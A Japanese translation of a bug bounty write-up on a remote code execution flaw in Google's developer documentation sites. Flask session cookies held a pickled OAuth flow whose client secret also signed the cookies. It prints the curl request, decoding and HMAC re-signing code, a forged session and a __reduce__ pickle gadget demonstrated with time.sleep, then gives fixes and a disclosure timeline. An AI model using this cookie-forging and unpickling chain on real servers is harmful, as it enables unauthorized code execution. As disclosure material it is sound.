セキュリティ
Googleで9万ドルのリモートコード実行脆弱性を見つけた
I Found a $90k Remote Code Execution Vulnerability in Google (simonkoeck.com)
要約
この記事は、Googleの開発者向けドキュメントサイトで見つかった、深刻なリモートコード実行(RCE)脆弱性について詳述しています。発見者は、OAuthフローをマッピング中に、FlaskセッションCookieにpickle化されたオブジェクトが含まれていることを発見しました。このオブジェクトには、OAuthクライアントIDとクライアントシークレットが含まれており、署名検証にも使用されていました。これにより、攻撃者は偽造したCookieを使ってサーバー上で任意のPythonコードを実行できる状態でした。この脆弱性は、Googleの複数のサブドメインに影響を与え、発見者には9万ドルの報奨金が支払われました。
全文翻訳
発見の経緯
Googleのデベロッパー向けドキュメントサイトが共有しているOAuthフローをマッピングしていました。
/oauth2authorize にアクセスすると、FlaskのセッションCookieが設定され、Googleのサインインページにリダイレクトされます。アカウントは不要です。
curl -s -D headers.txt -o /dev/null \
'https://developers.google.com/oauth2authorize?return_url=%2F'
このCookieが私の目を引きました。
Flaskの通常のセッションCookieは、<ペイロード>.<タイムスタンプ>.<署名>という3つの部分から成りますが、約1,200バイトと、CSRFトークンやリターンURLには必要すぎるほど大きかったのです。
そこで、デコードしてみました。
FlaskのセッションCookieは暗号化ではなく署名されているため、その内容は誰でも見ることができます。
先頭のドットは、ペイロードがzlibで圧縮されていることを意味します。
import base64
import json
import pickletools
import zlib
payload, timestamp, signature = cookie.rsplit(".", 2)
def b64decode(value):
return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))
compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)
これにより、以下のデータが得られました。
{
"_permanent": true,
"google_oauth2_csrf_token": "...",
"google_oauth2_flow_<csrf>": {
" b": "..."
}
}
" b" というキーは、Flaskがバイト値をタグ付けしていることを示しています。
これをBase64デコードするとpickleが得られ、pickletools.dis は oauth2client.client.OAuth2WebServerFlow オブジェクトとそのフィールドを表示しました。
client_id = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"
Cookieにはpickleでシリアライズされたペイロードが含まれており、それだけでも十分悪かったのですが、さらにGoogleのOAuthクライアントIDとクライアントシークレットがプレーンテキストで含まれていました。(シークレットはここで編集されています。執筆時点ではまだ有効でした。)
クライアントシークレットをFlaskのSECRET_KEYとして試したところ、発行されたCookieの署名がそれに対して検証されました。署名キーは、署名対象のオブジェクト内に保存されていました。
一つの秘密、二つの仕事
Cookieにクライアントシークレットが漏洩しているというのは、それ自体で発見事項です。
重要なのは、同じ値が署名を検証したことなので、幸運な推測に頼るのではなく、それを properly に突き止めました。
Flaskは、cookie-session キーの派生を使用して署名するため、オフラインで署名を再計算しました。
import hmac
client_secret = b"<redacted>"
payload = "..."
timestamp = "..."
derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
derived_key,
f"{payload}.{timestamp}".encode(),
"sha1",
)
expected は、数秒前に渡されたCookieの署名とバイト単位で同一であることが判明しました。
それが偶然ではないことを確実にするために、署名の一文字を反転させてみました(拒否されました)。そして、元のペイロードを復元したシークレットで再署名しました(受理されました)。
セッションの整合性は失われました。セッションのすべてのキーと値を設定しても、サーバーが受け入れる署名を生成できました。
偽造Cookieからコード実行へ
コールバックは、セッションからフローを読み出し、それをアンピックルします。
セッションCookie -> Flask署名の検証 -> google_oauth2_flow_<csrf> の読み出し -> バイトのBase64デコード -> pickle.loads(...)
このpickle.loads は、他の誰も有効なCookieを偽造できない限り、「安全」です。
キーが公開されれば、その仮定は無価値になります。
偽造されたCSRFトークンと、対応するフローキーの下に任意のpickleを配置した、独自のセッションを構築しました。
session = {
"_permanent": True,
"google_oauth2_csrf_token": "attacker-chosen",
"google_oauth2_flow_attacker-chosen": {
" b": base64.b64encode(attacker_blob).decode()
},
}
stateパラメータも私のものなので、サーバー側で一致させる必要はありません。
サーバーは私の署名をチェックし、私のフローエントリを見つけ、バイトをpickle.loads に渡します。
pickle を使ったことがない方のために説明すると、REDUCE オペコードは呼び出し可能な関数とその引数を指定し、アンピッキングはその関数を呼び出すだけです。
公開された署名キーとこのシンク(データが安全でない場所)があれば、認証されていないRCE(リモートコード実行)が可能になります。
Googleのプロダクション環境でコマンドを実行するつもりはありませんでしたが、time を使ってそれを証明しました。
ペイロードは time.sleep(N) に削減されました。
class Sleep:
def __init__(self, seconds):
self.seconds = seconds
def __reduce__(self):
return (time.sleep, (self.seconds,))
毎回同じ偽造セッションですが、数字だけが変わります。
time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s
応答時間は、pickle内の数字と一致しており、これはサーバーがtimeをインポートして実際にsleep(N)を呼び出した場合にのみ発生します。
遅いエンドポイントやジッターの可能性を排除するための制御も行いました。
Cookieなし:無効なリクエスト。
署名の一文字を反転:無効なリクエスト。
有効な署名、フローエントリなし:無効な状態。
有効な署名と実際のフロー:Googleのトークン交換に到達しましたが、その後 invalid_grant(無効な付与)エラーで失敗しました。
有効な署名とsleepペイロード:私が選んだ数字と正確に遅延しました。
どこまで影響したか
これは単一のアプリケーションではなく、共有されているDevSiteプラットフォームであるため、developers.google.com から取得したキーは、以下のサイトで有効なセッションに署名していました。
firebase.google.com
developer.android.com
source.android.com
docs.partner.android.com
修正方法
4つの変更が必要であり、それらが積み重なりました。
1. 漏洩した両方のOAuthクライアントシークレットをローテーションし、それらで署名されたすべてのセッションを無効化する。
2. 各デプロイメントに、OAuthクレデンシャルとは無関係な、サーバーサイドストアからの高エントロピーなFlask SECRET_KEYを割り当てる。
3. OAuthフローオブジェクトをサーバー上に保持する。Cookieは不透明な参照を保持し、機密情報を含まないようにする。
4. クライアント境界を越えるものにはpickleの使用を中止する。スキーマチェック付きのデータ専用フォーマットは、偽造Cookieを無力化する。
これらのうち、どれか一つでもチェーンを断ち切ることができたはずです。4つすべてが揃ったことで、2つのGETリクエストがGoogleのサーバー上でコードを実行することにつながりました。
タイムライン
2026年8月6日 · 22:48 レポート提出
2026年8月7日 · 08:12 トリアージ
2026年8月7日 · 16:23 受理
2026年8月27日 報奨金決定:90,000ドル
通常のGoogleアプリケーション(T2)、S0 RCE:75,000ドル(基本)× 1.2(例外的なレポート品質のため)。
2026年10月7日 · 15:20 修正完了
この問題の調査と修正に協力してくれたGoogle Bug HuntersチームとDevSiteエンジニアに感謝します。
-- 🔥 0 👀 0 💡 0 🎯 0